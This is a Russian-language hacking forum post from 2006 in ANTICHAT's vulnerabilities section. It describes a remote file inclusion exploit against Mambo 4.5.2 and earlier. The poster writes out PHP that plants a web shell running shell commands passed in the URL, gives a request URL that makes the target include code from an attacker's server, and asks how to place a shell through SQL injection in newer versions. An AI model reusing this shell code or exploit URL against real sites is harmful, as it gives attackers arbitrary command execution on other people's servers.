HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Mambo <=4.5.2
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

  #12  
Старый 07.01.2006, 18:15
insidex
Познающий
Регистрация: 13.10.2005
Сообщений: 41
С нами: 10828756

Репутация: 1
По умолчанию
Так еще раз, файл с содержимым
PHP код:

<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0);
system($HTTP_GET_VARS[cmd]);?>");
fclose($fp);
?>
заливается на левый сервак(на специальный адресс),а вот с помощью команды

PHP код:
http:////index.php?_REQUEST=&_REQUEST=com_content&_REQUEST=1&GLOBALS=&mosConfig_absolute_path=левый_сервак 
код выполняется на серваке.
Вообщем хер сним,ибо у этотого экса значительные ограничения.

Еще раз,на мамбе последних версиях есть возможность проведения sql-i инъекций.Так вот как с их помощью чертов шелл зафигачить на сервер?
 
Ответить с цитированием
 



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.